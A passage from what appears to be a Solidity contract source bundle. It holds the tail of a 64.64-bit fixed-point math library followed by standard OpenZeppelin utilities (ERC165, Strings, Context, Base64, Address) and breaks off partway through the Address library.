64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as 